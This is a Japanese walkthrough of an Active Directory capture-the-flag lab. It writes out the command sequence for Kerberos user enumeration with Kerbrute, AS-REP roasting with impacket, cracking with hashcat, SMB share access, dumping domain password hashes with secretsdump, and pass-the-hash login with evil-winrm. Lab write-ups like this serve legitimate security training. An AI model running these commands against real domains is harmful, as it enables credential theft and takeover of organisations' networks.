概要
今回の記事ではActive Directoryの脆弱性を利用してサイトを攻撃します。
今回、「教科書」とは別に次のページを参考にさせていただきました。
ハッキング手順
次の手順でサイトを攻撃します。
- nmapで稼働しているサービスとポート番号を調べる
- enum4linuxを使用してドメイン情報を取得する
- Kerbruteを使用してパスワードを取得する
- smbclientを使用してターゲットにログインする
- impacketのsecretsdump.pyを使用してパスワードハッシュを取得
- Evil-WinRMを使ってターゲットにログインし、フラグを取得
ハッキング詳細
-
Setup
ハッキングに必要なツールをダウンロード- neo4j
-
Welcome to Attacktive Directory
- nmapを使用してNet-BIOSドメインを取得
-
Enumerating Users via Kerberos
- 文中より、UserList, Password Listをダウンロードする
- kerbruteをダウンロードしてビルドする
https://github.com/ropnop/kerbrute/releases
cd kerbrute make all
- kerbruteでユーザー名を列挙する
./dist/kerbrute_linux_amd64 username -d [DNS_Domain_Name] --dc [ターゲットのIP] [ユーザー一覧ファイル]
-
Abusing Kerberos
- impacketをダウンロード
https://github.com/fortra/impacket - Pythonの仮想環境を作成
python3 -m venv myenv source myenv/bin/activate pip3 install -r ./impacket/requirements.txt cd impacket python3 ./setup.py install
- GetNPUsers.pyを実行して、TGT(Ticket-Granting Ticket)を取得
python3 ./impacket/examples/GetNPUsers.py -no-pass -dc-ip [ターゲットのIP] [domain/ユーザー]
前のセクションで取得したユーザーのどちらかが成功する
出力結果は後で使用するのでファイルに保存しておく-
取得したハッシュデータの先頭タグを使い、次のページからハッシュ名とハッシュモードを取得(ハッシュ名は正式名称が必要)
https://hashcat.net/wiki/doku.php?id=example_hashes -
hashcat(ツール)を使用してパスワードを取得する
hashcat -m [モード番号] [ハッシュデータファイル] [パスワード一覧ファイル]
- impacketをダウンロード
-
Back to the Baseics
- smbclientを使って共有フォルダ一覧を取得する
smbclient -L //[IP]/[NetBIOS_Domain_Name] -U [ドメイン名/ユーザー名]
- svc_adminユーザーで共有フォルダにログインする
smbclient //[IP]/[共有フォルダのいずれか] -U [ユーザー名]
- 見つかったファイルをダウンロードして、中の文字列をデコードする
https://dencode.com/ja/
- Elevating Privileges within the Domain
- secretsdump.pyを使ってドメインのアカウント一覧を取得
python3 impacket/examples/secretsdump.py [ドメイン/ユーザー@IP] -just-dc
```
- Evil-WinRMを使って管理者権限でログイン、フラグを取得する
evil-winrm -u [管理者ユーザー] -H [ハッシュ値] -i [IP]